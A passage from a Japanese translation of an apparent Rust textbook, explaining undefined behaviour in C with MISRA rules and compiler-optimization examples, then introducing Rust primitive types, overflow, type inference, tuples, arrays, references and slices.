error[E0381]: use of possibly-uninitialized variable: `uninit_var`
 --> src/main.rs:3:8
  |
3 |     if uninit_var > 0 {
  |        ^^^^^^^^^^ use of possibly-uninitialized `uninit_var`

For more information about this error, try `rustc --explain E0381`.

gcc の警告も同様でしたが、それに従うかどうかは完全に任意でした。 Rust では、この同じ誤りはハードエラーです。この問題に対処しない限り、プログラムはコンパイルされません。 言い換えれば、すべての安全な Rust プログラムは前述の MISRA C Rule 9.1 に従います。

より一般的に言えば、安全な Rust プロジェクトのコンパイルに成功するということは、UB が排除されている可能性が高いことを意味します。 したがって、以下に従うことで、大きな保証が得られます。

[RR, Directive 2.1] プロジェクト全体がエラーなしでコンパイルされるべきである5

なぜ UB はそもそも存在するのか?

商用かオープンソースかを問わず、ある言語に複数のコンパイラが存在することが望ましいと仮定しましょう。 各コンパイラ実装は、異なるニッチに対応したり、独自の機能を提供したり、あるいは単に有望なアイデアを実験したりするかもしれません。 これは、同じ標準やプロトコル(HTML、HTTP2 など)をすべてサポートする複数の Web ブラウザーが存在するのと同じです。

したがって、単一の言語標準(すでに触れた ISO C 標準2 のようなもの)は、任意のプラットフォームアーキテクチャを対象とする任意のコンパイラ実装に適用可能である必要があります。 これはインターフェイス設計の問題に似ています。 失敗モードを設計することを伴い、そこで UB が登場します12。これは、標準が普遍的な規則を課さない、課すべきでない、または課せないエッジケースを「処理」する 1 つの方法です。

そのため、標準は境界を引きます。つまり、さまざまな基盤ハードウェアを表現するのに十分一般的な「抽象機械」を定義します。 これには、コンパイラ開発者にプラットフォーム固有の最適化を導入する余地を与えるという利点があります。 これはコンパイラの主な仕事の 1 つです。つまり、効率的な機械語コードを生成するために、書き換え規則を繰り返し適用することです。

最適化コンパイラは、入力ソースコードが言語仕様に従って UB を導入しないと仮定します。 この仮定が次の場合:

  • (ソースが実際に UB を含まない) - 書き換え規則は既存のコードを、より高速で、かつ論理的に同等な新しいコードに置き換えます。

    • これらの規則は、抽象的な仕様が提供する「自由度」を利用して、アーキテクチャ固有の命令やメモリモデルのセマンティクスを活用することがよくあります。あるいは、不要であることが証明されるチェックを削除します13
  • (ソースに UB が含まれる) - 書き換え規則の適用によって論理的矛盾が生じる可能性があります。

    • 存在する UB が「トリガー」された場合、結果として不正なコード置換や任意の実行時操作が発生します。

この二分法から、次の疑問が生じます。十分に「賢い」コンパイラであれば、UB を含まないソースであるという仮定を単純に検証できないのでしょうか? 構文や型付けをコンパイル時にチェックするのと同じように。

答えはイエスです! ほのめかしたように、完全に安全な Rust コードをコンパイルするときに rustc が行っているのは、まさにそれです14。 高度な型システムと実行時チェック挿入の組み合わせを使用します。

しかし、すべての UB が存在しないことを自動的に保証するのは、C、C++、そして unsafe Rust にとって技術的に実現困難です。 さらに、最も安全な Rust プログラムであっても、C の libc や Rust の core の一部のように、内部で何らかの unsafe コードにリンクしている可能性があります15。 保証の観点からは、そのように広く使われ、十分に検証された依存関係は、私たち自身が書く unsafe コードよりも UB を含む可能性が低い、ということに賭けているのです。

最適化の例は何か?

John Regehrは2017年の講演12で説得力のあるスニペットを示しました。ここではそれを少し変更して使います。 次の関数があるとします。

int set(int* a, int* b) {
   *b = 3;
   *a = 7;
   return *b;
}

abは同じ型intへのポインタであり、エイリアスする可能性があります(ポインタとエイリアシングについての第2章の議論を思い出してください)。 つまり、この関数は、ポインタがエイリアスしない場合は3を返し、エイリアスする場合は7を返すべきです。

したがって、コンパイラは整数を返す前にメモリからロードする機械語コードを生成せざるを得ません。 エイリアスする場合としない場合の両方に対応するには、最新のデータを読み取る必要があります。 次のようなx86-64アセンブリのスニペットが出力される可能性があります(ATT構文)。

set:
  movl $3, (%rsi)
  movl $7, (%rdi)
  movl (%rsi), %eax

x86アセンブリに詳しくない場合、ここでの重要な考え方は、最後の行がメモリアドレスからのロードであるということです。

  • %rsiはポインタを保持するレジスタです。

  • (%rsi)はポインタの参照外しであり、そのポインタが指すデータを読み取ります。

  • movl (%rsi), %eaxは読み取ったデータを、戻り値に使われるレジスタである%eaxへコピーします16

では、2つのパラメータが異なる整数型へのポインタであるとします。

int set(long* a, int* b) {
   *b = 3;
   *a = 7;
   return *b;
}

この場合、コンパイラはC標準における「strict aliasing」の定義に基づき、ポインタがエイリアスしないと仮定できます。 もはやメモリから現在の値を読み取る必要はなく、定数3を返せます。 その方が高速です。 この最適化により、次のようなアセンブリになる可能性があります。

set:
  movl $3, (%rsi)
  movq $7, (%rdi)
  movl $3, %eax

すばらしいことに、より効率的なコードが得られました。 最後の命令には読み取りがなく、定数の移動だけです。

では何が問題なのでしょうか? Cプログラマは、関数を呼び出す前にint*long*へキャストすることで、その仮定を破ることができます。 以下のプログラムの動作は未定義です。

include <stdio.h>

int set(long* a, int* b) {
    *b = 3;
    *a = 7;
    return *b;
}

int main() {
    int x = 0;
    printf("%d\n", set((long*)&x, &x));
}

さまざまな理由から、キャストはCおよびC++プログラムで一般的な操作です。 Linuxカーネルのようなプロジェクトでは、安全性のためにこの特定の最適化を明示的に無効化しています4

安全なRustでは、参照をキャストできません。また、可変エイリアシングが常に存在しないことを保証できます。 そのため、この特定のケースでは、RustはUBの危険なしに最適化を実行できます。

UBの実際の影響は何か?

起こり得る結果は4つあります12。 おおむね最善のケースから最悪のケースの順に列挙できます。

  1. プログラムが即座に壊れる: 実行時にクラッシュ(例: セグメンテーションフォルト)または例外(例: ゼロ除算の試行)が発生し、プログラムは停止します。

    • 製品を出荷する前に検出するのが最も簡単なケースです。動的テストで、欠陥のあるコードパスを一度実行するだけで済みます。
  2. プログラムが破損した状態で実行を継続する: 内部状態が論理的に無効になりますが、プログラムは実行を続けます。何らかの任意の条件が満たされた場合に後でクラッシュすることもあれば、単に終了するものの誤った結果を生成することもあります。

    • このケースは検出がより困難であり、発見するにはより徹底したテストケースが必要になる場合があります。
  3. UBに依存しているにもかかわらず、プログラムが期待どおりに動作する: テストの観点からはプログラムが正しく見えますが、そのUBは起動を待つ「時限爆弾」です。別のアーキテクチャ向けにコンパイルしたり、新しいコンパイラを使ったり、単に異なる設定を使ったりすると、プログラムは動作しなくなる可能性があります。

    • 検出にはビルドツールチェーンの変更または更新が必要です。また、UBが上記のケース2として現れる場合、検出は即時ではない可能性があります。
  4. プログラムが攻撃に対して脆弱になる: 想定された入力ではプログラムはUBを引き起こしませんが、攻撃者が特別に細工した入力を与えると引き起こします。メモリ破壊バグの悪用にはUBを引き起こすことが伴います(次章で見ます)。

    • これは最悪のシナリオです。攻撃者が、私たちのテストでは見つけられなかったUBを検出し、それを利用して本番環境の資産を侵害します。

UBの最初の3つの潜在的な影響は、機能性と信頼性への脅威です。 4つ目はセキュリティへの脅威です。 そのため、MISRA C標準には次の広範なルールが含まれています。

[AR, Rule 1.3] 未定義動作の発生をすべて排除する5

Rustの設計により、一般にこのルールへ準拠しやすくなります。 開発者は、何百もの難解なUBのエッジケースを同時に覚え、それらを100万行規模のコードベース全体で失敗なく適用する責任を負いません。 代わりに、Rustコンパイラが潜在的な問題をチェックします。 自動的に、かつ正確に。

要点

私たちが持つ最良のツールでも、中規模のCまたはC++コードベースに存在するすべての未定義動作を正確に突き止めることはできません。

  • 商用の静的解析ツールは偽陽性に悩まされます。実用的な結果は多くの場合、ノイズの中に埋もれます。さらに、多くのUBについては検出アルゴリズムを設計すること自体が困難です。第2章で思い出したかもしれませんが、エイリアシングのような静的解析における重要な問題は、数学的に決定不能です。

  • 動的ツール(LLVMのオープンソースであるUBSan17ASan18TSan19など)は近年大きく改善されましたが、それでも動的テストの根本的な制限(プログラムの状態空間のごく小さなサンプル)によりバグを見逃します。カバレッジガイド付きファジング(第12章で紹介)と組み合わせた場合でさえもです。

これこそが、MISRA Cのような標準が存在する理由の一部であり、また数え切れないほどのエンジニアリング時間が、これらの標準が守られることを保証するために費やされている理由でもあります。

欠陥率の削減は困難な戦いです。 CとC++がそれぞれの標準で許している未定義動作の量が非常に多いことを考えると、それは消耗戦だと主張することもできます。 勝者は信じられないほどのエンジニアリングコストを支払います。ツールのライセンス、出荷を遅らせるプロセス、そしてデバッグに費やされる人時という形でです。 あるいは、UBが悪用可能な脆弱性につながる場合には、サービス停止という形で支払うことになります。

それでは、Rustの安全なサブセットを学び始めましょう! Rustは完璧ではありませんが、UBを排除することは確かにRustの強みです。

gcc はまだ戦いを諦めていない!

弱い型システムと、UB の多い明文化された仕様を前提にすると、C コンパイラのメモリ安全性に関する保証の上限は低いと私たちは考えています20。 しかし、重要な進歩は今も続いています。 そして、C が広く使われていることを考えると、どんな小さな進歩にも大きな影響があります。

gcc 12 は、改善された実験的な静的テイント解析21(信頼できないデータのフロー追跡)を提供します。 ソースアノテーションと組み合わせることで、潜在的な攻撃の入口を体系的にレビューする方法になります。 そして、これは現時点で rustc には提供されていない高度な機能です。

この同じバージョンでは、新しい -Wanalyzer-use-of-uninitialized-value フラグ21 も追加されています。 上で -Wall を使ったことで含まれていた -Wuninitialized 警告とは異なり、この新しいフラグは、関数間のフローに対して分岐を考慮した静的解析を使用します。 これは、誤検知を減らし、かつ、より対処可能な警告を増やすことを意味するかもしれません。

私たちは、前述の「Dirty Pipe」6 カーネル脆弱性を検出する gcc 12 の能力はテストしていません。 しかし、関心のある読者にとっては、試してみる価値のある演習かもしれません。


  1. Misra C コーディング標準と開発におけるその役割(SAS Talk). Roberto Bagnara (2018).

  2. ISO/IEC 9899:TC3. International Organization for Standardization (2007). C 言語のより新しい標準は有料であり、オンラインで自由に入手できるものではないことに注意してください。本書で述べる点は、より新しい C 標準にも依然として適用できます。 ↩2 ↩3 ↩4

  3. nasal demons. 悪名高い Usenet の投稿によれば、UB の任意の結果には「鼻から悪魔が飛び出す」ことも含まれ得ます。そのため、UB は時々冗談めかして「nasal demons」と呼ばれます。

  4. 未定義動作:私のコードに何が起きたのか?. Xi Wang, Haogang Chen, Alvin Cheung, Zhihao Jia, Nickolai Zeldovich, M. Frans Kaashoek (2012). ↩2

  5. MISRA C: 2012 クリティカルシステムにおける C 言語の使用に関するガイドライン(第 3 版). MISRA (2019). ↩2 ↩3

  6. Dirty Pipe 脆弱性. Max Kellerman (2022). ↩2 ↩3

  7. 未定義と見なされる動作. The Rust Reference (Accessed 2022). ↩2

  8. Pin における健全性の欠如. comex (2019).

  9. Ferrocene 言語仕様. Ferrous Systems (2022).

  10. 未定義動作の一覧. Ferrous Systems (2023).

  11. miri. Ralf Jung (Accessed 2022).

  12. CppCon 2017: 「2017 年の未定義動作」. John Regehr (2017). ↩2 ↩3

  13. 未定義動作はもっとよい評判に値する. Ralf Jung (2021).

  14. この主張には、議論の余地がある境界事例があるかもしれません。たとえば、Cargo.tomloverflow-checks = false が指定されている場合(最適化された release プロファイルのデフォルト設定)、整数オーバーフローは実行時に発生し得ます。これは、C/C++ におけるものとは異なり、Rust では技術的には UB ではありません。2 の補数によるラップを確実に期待できるからです。しかし、それでも、より大きなアプリケーションの文脈では予期しないバグを引き起こす可能性があります。

  15. Rust Core ライブラリ. The Rust Team (Accessed 2022).

  16. 技術的には、%eax は x86-64 システムにおける 8 バイトの %rax レジスタの下位 4 バイトです。%rax は戻り値に使用されます。この例では、8 バイトポインタを逆参照していますが、4 バイト整数を返しています。

  17. UndefinedBehaviorSanitizer. LLVM Project (Accessed 2022).

  18. AddressSanitizer. LLVM Project (Accessed 2022).

  19. ThreadSanitizer. LLVM Project (Accessed 2022).

  20. 一方で、C コンパイラは安全認証の観点から成熟しており、よく理解されています。また、形式検証の面でもさらに先を進んでいます。一例として、CompCert22 C コンパイラは、ソースコードのセマンティクスが機械語コードのセマンティクスと一致することを証明します。現行の Rust コンパイラで、そのレベルまたは種類の保証を主張できるものはありません。

  21. GCC 12 コンパイラにおける静的解析の現状. David Malcom (2022). ↩2

  22. CompCert. Xavier Leroy (Accessed 2022).

Rust: 低レベルデータ(全6回中1回目)

ここまで、静的保証の文脈で Rust の型システムについて議論してきました。 具体的には、可変エイリアシングの防止と UB の排除です。

しかし、日々の開発の大半においては、これらは副次的な利点だと主張することもできます。 そして、Rust の型システムの真の価値は、その表現力、つまり問題領域を柔軟な構成要素に対応付ける能力にある、と。

このような議論はすぐに主観的なものになるため、Rust については時間をかけて自分自身の意見を形成すべきです。 とはいえ、プログラミング上の問題を解く最初の一歩は、通常、処理するデータを表現することです。 そこで、Rust が提供する選択肢をいくつか見ていきます。

プリミティブ型

Rust のプリミティブ型は、あなたがよく知っているほぼどのプログラミング言語とも似ています。一般的なブール値、整数、浮動小数点数、文字、文字列などがあります。

高水準のインタープリター型言語と比べた場合の重要な違いの1つは、整数と浮動小数点数が固定幅であることです。 これは高性能なシステム言語の特徴であり、個々の数値は(Python のように)ヒープメモリ上の構造体としてではなく、(C のように)CPU レジスタに格納される必要があります。

このハードウェアレベルの関心事には、境界のある範囲とホスト固有の幅という、2つの重要な含意があります。

1) 境界のある数値範囲

Rust には12個のプリミティブな数値型があります。

  • 符号なし整数型が5つ: u8u16u32u64u128、および usize

  • 符号付き整数型が5つ: i8i16i32i64i128、および isize

  • IEEE 準拠の浮動小数点数が2つ: f32(少なくとも10進6桁の精度)と f64(少なくとも10進15桁)。

型名の接尾辞はビット幅を示します。たとえば u128 は幅が128ビット(16バイト)です。 重要な含意は次のとおりです。ある整数型が表現できる値の範囲は有限です。 上限と下限は、符号の有無と幅の両方によって決まります。 以下の表を見てください(網羅的ではありません)。

下限上限
u81バイト0255
i81バイト-128127
u324バイト04,294,967,295
i648バイト-263263-1

Rust の標準ライブラリは、上限と下限のための便利な制限定数を提供しているため、これらの範囲をそらで覚えたり、網羅的な表を参照したりする必要はありません。

assert_eq!(0, u8::MIN);
assert_eq!(255, u8::MAX);

型の範囲を超えると「ラップアラウンド」が発生します。 まれに、それが望ましい動作である場合もあります。 私たちは RC4 暗号の実装時に、剰余算術をシミュレートするため wrapping_add を慎重かつ意図的に使用しました。 これがどのように機能するかを示すために、u8 の上限である 255 を超えた場合に何が起こるかを考えてみましょう。

let x: u8 = 200;
let y: u8 = 100;

assert_eq!(x.wrapping_add(y), 44);

44300 % 256、つまり全体を範囲サイズで割った余りです。 暗号の文脈以外では、サイレントなラップアラウンドは 整数オーバーフロー のバグと見なされます。 もし 200 が銀行口座のドル残高を表し、口座の所有者がさらに 100 ドルを預け入れたなら、レシートに 44 の口座残高が表示されていて驚くことでしょう!

ここで、Rust におけるいくつかの微妙な点に踏み込みます。 assert_eq!(x.wrapping_add(y), 44); の代わりに assert_eq!(x + y, 44); と書いていた場合、プログラムはオーバーフローを警告するエラーを吐き出していたでしょう。

error: this arithmetic operation will overflow
 --> src/main.rs:8:12
  |
8 | assert_eq!(x + y, 44);
  |            ^^^^^ attempt to compute `200_u8 + 100_u8`, which would overflow
  |
  = note: `#[deny(arithmetic_overflow)]` on by default

ここでは、xy の両方が定数であるため、オーバーフローをコンパイル時に検出できたという意味で運が良かったのです。 Rust は、値が事前には分からない変数については、オーバーフローを捕捉するために任意のランタイムチェックを使用します。この話題には、安全性について詳しく議論する第4章で戻ってきます。

Rust の整数オーバーフローについて、もう1つ覚えておくべき詳細があります。C/C++ とは異なり、それは UB の潜在的な原因ではありません。 ラップアラウンドの規則は明確に規定されており、ターゲットプラットフォーム全体で普遍的です1

2) ホスト固有の整数

usize 型と isize 型は、それぞれ符号なし整数と符号付き整数ですが、対応する他の型のようにビット幅を指定していないことに気づいたでしょう。 それは、それらのサイズがプログラムのコンパイル先となる特定のマシンに依存するためです。

どちらも、32ビットシステム向けにコンパイルする場合は4バイト長であり、現代的な64ビットシステムでは8バイト長です。 理論上は、128ビットシステムであれば16バイト長にもなり得ますが、商用プロセッサで128ビットアーキテクチャを使用しているものはありません。

範囲とオーバーフローについて述べたことを踏まえると、マシン依存(別名ホスト固有)の型は曖昧だと感じるかもしれません。 危険ですらあるかもしれません。 MISRA によれば、その認識は正しいです。

[RR, Directive 4.6] サイズと符号の有無が明示された数値型を使用する2

Rust では可能な場合に明示的な数値型を使用できますが、インデックス指定は例外です。コレクションのインデックス指定には usize 型が必要です(たとえば my_vec[i] = j では、iusize でなければなりません)。 これは、内部的にはコンテナーへのインデックス指定にメモリアドレスの計算が関わることが多いためです3。 そして、アドレスの幅はターゲットマシンに依存します。

現在の Rust では、u64 のような明示的な数値型から usize へキャストできます。 おそらく、上記の MISRA ルールの精神に従うために、インデックス指定の前にこの操作を行う必要があるでしょう。

数値型間のキャストは、Rust が型キャストを許可するごく少数のケースの1つです。 これは別のルールにも役立ちます。

[AR, Rule 11.3] ある型への参照から別の型への参照へキャストしてはならない2

Rust では、トレイト という概念を介して、型間(参照間ではありません)の安全で明示的な変換を許可しています。具体的には、From4Into5 と呼ばれるトレイトです。 次のセクションでトレイトを説明し、後の章で From を使用します。

型推論

Rust は強く静的に型付けされます。 すべての値はコンパイル時に既知の型を持ちます。 ジェネリックパラメーターでさえそうです。その最終的な型はコンパイル中に決定されます(これについては後で詳しく説明します)。

古い静的型付け言語とは異なり、Rust は特定の場合に式の型を自動的に検出するために 型推論6 を使用します。経験則として、型注釈を明示的に書き出すことは次のとおりです。

  • 関数シグネチャ(例: パラメーターや戻り値の型)、グローバル変数、またはエクスポートされる型(例: ライブラリの公開 API の一部)では、常に必須です。

  • 関数本体の中では、ときどき必須です。

次の例を考えてみましょう。

#![feature(type_name_of_val)]
use std::any::type_name_of_val;

fn sum(x: u128, y: u128) -> u128 {
    x + y
}

fn main() {
    let a = 1;
    let b = 3;
    let c = sum(a, b);

    println!("a is a {} with value {:?}", type_name_of_val(&a), a);
    println!("b is a {} with value {:?}", type_name_of_val(&b), b);
    println!("c is a {} with value {:?}", type_name_of_val(&c), c);

    let mut list = Vec::new();
    list.push(a);
    list.push(b);
    list.push(c);

    println!("list is a {} with value {:?}", type_name_of_val(&list), list);
}

このスニペットは次のように出力します。

a is a u128 with value 1
b is a u128 with value 3
c is a u128 with value 4
list is a alloc::vec::Vec<u128> with value [1, 3, 4]

ここでは自動推論が 2 回発生しています。

まず、プリミティブ型が関数シグネチャから推論されました。 もし関数 sum がプログラムの一部でなかったなら、let a = 1;let a: i32 = 1; と等価になります。 4 バイトの符号付き整数である i32 は、Rust のデフォルト整数型です。 しかし、let c = sum(a, b) という行があるため、コンパイラーは a が実際には 16 バイトの符号なし整数である u128 だと判断しました。

次に、動的コレクションの型が、格納された要素の型から推論されました。 以下の 3 つの文はすべて等価です。

  • let mut list = Vec::new(); - 推論された型(上記と同様)。
  • let mut list: Vec<u128> = Vec::new(); - 明示的な型注釈。
  • let mut list = Vec::<u128>::new(); - 明示的なコンストラクター。

この便利な推論による短縮記法を使えたのは、サンプルプログラムに少なくとも 1 つの list.push() 文があったからです。 コンパイラーはベクターにプッシュされる要素の型、この場合は u128 整数を見て、ベクターの型を決定しました。

異種コレクションについてはどうでしょうか?

変化はあるものの論理的に関連する型の要素をベクターに格納したい場合、型推論に頼ることはできません。 dyn キーワードと「トレイトオブジェクト」と呼ばれるものを明示的に使う必要があります。 これは、この本で必要になったり扱ったりする言語機能ではありません。

タプル vs. 配列

Rust は、順序付きで固定サイズの値のシーケンスを表す方法として、タプルと配列の 2 つを提供します。

  • タプルは、異なる型の複数の値をグループ化できますが、定数でしかインデックス指定できません。

  • 配列は、同じ型の複数の値だけをグループ化できますが、変数でインデックス指定できます。

タプル

どちらをいつ使うべきかについて厳密な規則はありませんが、タプルは戻り値の型として特に便利です。 関数が複数の値を返すべき場合に使います。

[少し不自然な] 例: 最短辺に基づいて 30-60-90 三角形(特殊な「直角三角形」7)の各辺の長さを計算する必要があるとします。 既知の公式があります。

// 辺の比率は 1 : 2 : square_root(3)
fn compute_30_60_90_tri_side_len(short_side: f64) -> (f64, f64, f64) {
  (
    short_side,
    short_side * 2.0,
    short_side * 3_f64.sqrt() // "_f64" は省略可能な型接尾辞構文
  )
}

fn main() {
  let tri_sides = compute_30_60_90_tri_side_len(10.0);

  // タプルの定数インデックス指定
  assert_eq!(tri_sides.0, 10.0);
  assert_eq!(tri_sides.1, 20.0);
  assert_eq!(tri_sides.2, 17.32050807568877);

  // タプルの分配束縛
  let (a, b, c) = compute_30_60_90_tri_side_len(10.0);

  assert_eq!(a, 10.0);
  assert_eq!(b, 20.0);
  assert_eq!(c, 17.32050807568877);
}

関数 compute_30_60_90_tri_side_len は 3 つの値、つまり三角形の 3 辺の長さを返します。 この関数を最初に呼び出したとき、変数 tri_sides に推論される型は (f64, f64, f64) です。 各浮動小数点数には定数位置でアクセスできますが、変数ではアクセスできません(例: tri_sides.1 は機能しますが、tri_sides.itri_sides[i] は機能しません)。

名前付きフィールドを持つ構造体を定義することもできましたが、タプルは簡潔な短縮記法を提供します。 そして、compute_30_60_90_tri_side_len の 2 回目の呼び出しで示している、分配束縛と呼ばれる手法で名前を設定できます。 単一のタプル変数に代入する代わりに、分配束縛を行い、各タプル要素をそれぞれ独自の名前付き変数(例: abc)に代入します。

配列

配列は、他のプログラミング言語でもおそらく見たことがある汎用データ構造なので、ここでは深く掘り下げません。 Rust における配列宣言の構文は [T; N] です。 格納される各値の型は T で、N は配列の長さです。 次のように動作します。

// 明示的な配列型宣言
let numbers: [u64; 3] = [42, 1337, 0];

// 推論された配列型(`[&str; 4]`、読み取り専用文字列参照の配列)
let operating_systems = ["Linux", "FreeBSD", "Tock", "VxWorks"];

// すべての要素(1,000 個)を単一の値(0)で初期化
let mut buffer = [0; 1_000];

// インデックスベースの書き込みアクセス
for i in 0..1_000 {
  assert_eq!(buffer[i], 0); // ゼロ初期化されているはず
  buffer[i] = i; // 新しい値で上書き
}

assert_eq!(buffer[0], 0);
assert_eq!(buffer[1], 1);
assert_eq!(buffer[2], 2);

// イテレーターベースの書き込みアクセス
for num in buffer.iter_mut() {
  *num += 7; // "*" は書き込みのためのデリファレンス
}

assert_eq!(buffer[0], 7);
assert_eq!(buffer[1], 8);
assert_eq!(buffer[2], 9);

上記では、2 つのループを使って 1,000 要素の配列の内容を変更しています。 1 つ目は従来のインデックスベースのアクセス(例: buffer[i])を使っています。 2 つ目はイテレーター(例: buffer.iter_mut())を使って同様の操作を実行しています。

イテレーターは、mapfilter のような関数型プログラミングの構成要素を可能にします。 多くの言語ではそれに性能上のペナルティが伴いますが、慣用的な Rust ではこれらの構成要素がよく使われているのを目にするでしょう。 実際にはより高速なコードにつながる可能性があるからです。

なぜでしょうか? 上記の 1 つ目のループには暗黙の契約があります。i は配列の長さより小さくなければなりません。 そうでなければ、配列の末尾を越えて範囲外書き込みを行うことになります。 安全性を確保するため、コンパイラーは 1 つ目のループに実行時の境界チェックを追加しなければなりません(ただし 2 つ目には追加しません)。 そのチェックにはコストがあります。 この章の後半でエラーハンドリングについて説明するときに、このチェックに失敗するとどうなるかを見ていきます。

配列 vs. ベクター

型推論について説明したときに要素を追加した Vec とは異なり、配列は動的に拡張できません。 その容量は固定されています。 この制約は不便な場合がありますが、配列をポータブルにします。配列を使うために動的メモリアロケーション用のランタイムライブラリに頼る必要がありません。

Rust と C の配列における大きな違いの 1 つは、前者では長さが型の一部として明示的にエンコードされることです。 これにはいくつかの利点があり、その 1 つが次への準拠です。

[AR, Rule 17.5] 関数パラメーターとして使用される配列は、正しい数の要素を持たなければなりません2

参照

前の章では、整数をインクリメントする関数の文脈で、すでに参照を紹介しました。 参照は生ポインターに代わる現代的な手段です。

```rust,noplaypen
fn incr(a: &mut isize, b: &isize) {
    *a += *b;
}

fn main() {
  let mut x = 3;
  let y = 5;

  incr(&mut x, &y);

  assert_eq!(x, 8);
  assert_eq!(y, 5);
}

参照はシステムプログラミングに不可欠です。 参照は、値渡し(値全体をコピーする)の代わりに、参照渡し のセマンティクス(「ポインター」を渡す)を可能にすることを思い出してください。 このレベルの制御は不可欠であり、大きな値を高性能に操作できるようにします。 プログラマーは、いつ シャローコピー(参照のみを複製する)を行い、いつ ディープコピー(すべてのデータを複製する)を行うかを選択できます。 前者は、バイトのコピーに費やす時間が少なくなり、使用される総メモリ量も少なくなることを意味します。

この章の後半で所有権について説明するときに、参照の話題に戻ります。 所有権エラーを扱うと、Rust がこの MISRA ルールを強く推奨していることにすぐ気づくでしょう。

[AR, Rule 8.13] 参照は、可能な限り不変であるべきです2

スライス

スライスは参照と密接に関連する概念であり、これも不変と可変のバリアントがあります。

  • &[T] は、T の不変な共有スライスです。

  • &mut [T] は、T の可変な排他的スライスです。

どちらのスライス型も、何らかの別の、より大きな値の中に格納されている値のシーケンスへの「部分的なビュー」です。 例を使って、この文の意味を理解しましょう。

// 5項目の配列
let mut buffer_overflow_defenses = [
    "stack canary",
    "ASLR",
    "NX bit",
    "CFI",
    "Intel CET",
    "ARM MTE",
];

// 最初の3つの不変スライスを作成
// [..=2] は包括的な範囲記法で、[..3] と等価
let basic_defenses = &buffer_overflow_defenses[..=2];

assert_eq!(basic_defenses, &["stack canary", "ASLR", "NX bit"]);

// 最後の2つの可変スライスを作成
let advanced_defenses = &mut buffer_overflow_defenses[4..];

assert_eq!(advanced_defenses, &mut ["Intel CET", "ARM MTE"]);

// スライス経由で変更
advanced_defenses[1] = "safe Rust!";

// スライスとその「バッキングストレージ」の両方が更新されることに注目
assert_eq!(advanced_defenses, &mut ["Intel CET", "safe Rust!"]);
assert_eq!(buffer_overflow_defenses[5], "safe Rust!");

より大きなシーケンスを部分分割することは、上で示したように、スライスの便利な使い方の1つです。 前の章でも、スライス範囲記法(例: [..=2][3..])を見たことを思い出すかもしれません。 これは IETF テストベクトルの検証で、RC4 キーストリームから 16 バイトのチャンクを取り出すために使いました。

スライスは、イディオマティックな API を作成する際にも役立ちます。 RC4 関数(newapply_keystream など)のパラメーターを定義するときにこのアプローチを活用しましたが、その根拠については詳しく説明しませんでした。 以下を考えてみましょう。

fn count_total_bytes(byte_slice: &[u8]) -> usize {
    let mut cnt = 0;

    // アンダースコアは未使用変数を示す
    for _ in byte_slice {
        cnt += 1;
    }

    // おっと - ループする必要はなかった。組み込みの長さ取得メソッドがある!
    assert_eq!(cnt, byte_slice.len());

    cnt
}

fn main() {
    let byte_arr: [u8; 4] = [0xC, 0xA, 0xF, 0xE];

    // Vec初期化の短縮記法
    let mut byte_vec = vec![0xB, 0xA, 0xD];

    // 動的にさらにデータをプッシュ
    byte_vec.push(0xF);
    byte_vec.push(0x0);
    byte_vec.push(0x0);
    byte_vec.push(0xD);

    // どちらの型も &[u8] として借用できることに注意
    assert_eq!(count_total_bytes(&byte_arr), 4);
    assert_eq!(count_total_bytes(&byte_vec), 7);
}

パラメーターシグネチャでスライスを使う利点は、さまざまな種類のコレクションを スライスとして借用 できることです。 上の例では、バイトの動的ベクターとバイトの固定サイズ配列の両方で動作する関数を1つ書きました。

最後に、文字列(String 型)と文字列スライス(&str 型)の関係に触れないわけにはいきません。 このトピックを適切に議論するにはかなりの複雑さが伴い、また文字列は、この本で書くコードには特に関係しません。 私たちが構築するデータ構造はもちろん文字列を格納できますが、詳細な議論は省き、興味がある場合は公式 Rust book8 の 8.2 節「Storing UTF-8 Encoded Text with Strings」をお勧めします。

vec! マクロ

上のコードには、要素のベクターを初期化するための短縮記法が含まれています。 let mut byte_vec = vec![0xB, 0xA, 0xD]; は、次と等価です。

let mut byte_vec = Vec::new();
byte_vec.push(0xB);
byte_vec.push(0xA);
byte_vec.push(0xD);

実際、上の main 関数は、次のようにすれば push 呼び出しを完全に避けることもできました。

let mut byte_vec = vec![0xB, 0xA, 0xD, 0xF, 0x0, 0x0, 0xD];

この構文は byte_arr の初期化に似て見えるかもしれませんが、両者を混同しないでください。配列は固定容量を持つため、初期化後に新しい項目を配列へ push することはできません。

まとめ

プリミティブ(整数に焦点を当てました)、タプル、配列、参照、スライスについて簡単に取り上げました。 そしてその過程で、型推論の感覚もつかみました。 これで、Rust でデータを表現し操作するための低レベルな手法を見てきたことになります。

細かな複雑さにさらに何十ページも費やす代わりに、この言語のより刺激的で興味深い機能、つまりより高レベルな構造を表現する方法へ進みます。

本書を読み進めながら実践経験を積むことで、これらすべてのトピックを習得していくことになります。 現在の目標は、Rust の基礎をすばやく概観することです。


  1. Myths and Legends about Integer Overflow in Rust. Huon Wilson (2016).

  2. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition). MISRA (2019). ↩2 ↩3 ↩4

  3. ええ、Vec の場合はそれが当てはまります。内部的には、Vec はヒープ上に割り当てられた配列への ファットポインター(メモリアドレス、長さ、容量)です。my_vec[i] によるインデックスアクセスでは、メモリ位置へのオフセットを計算します。しかし、自分で定義するカスタムコンテナーでは、インデックス演算子をオーバーロードすることで、そのコンテナーの文脈で論理的に意味のある任意の操作を実行できます。本書の後半で、順序付きマップとセットのために独自のインデックスアクセスロジックを実装します。

  4. Trait std::convert::From. The Rust Team (Accessed 2022).

  5. Trait std::convert::Into. The Rust Team (Accessed 2022).

  6. Type inference. Guide to Rustc Development (Accessed 2022). Rust は Hindley-Milner 型推論アルゴリズム9を拡張したものを使用します。

  7. 30° - 60°- 90° Triangle. Math Open Reference (Accessed 2022).

  8. 文字列で UTF-8 エンコードされたテキストを格納する。Steve Klabnik、Carol Nichols 著(2022年参照)。

  9. Hindley–Milner type system. Wikipedia (Accessed 2022).

Rust: 高レベルデータ(全6回中2回)

前のセクションでは、低レベルの基礎を見てきました。 それらは重要であり、一般的です。 しかし、Rust が本当に輝き始めるのは、より高レベルの構成要素、つまり問題領域により密接に対応する「カスタム」データ型です。

Rust は、ML、OCaml、Haskell などの関数型言語から影響を受けています1。 Rust は、興味深く、おそらくエキゾチックとも言える構成要素をいくつかもたらしています。 高性能なシステム言語ではあまり見かけない機能です。

このセクションでは、関数型言語に関する事前知識がないことを前提に、これらの構成要素のいくつかに少しずつ慣れていきます。

列挙型

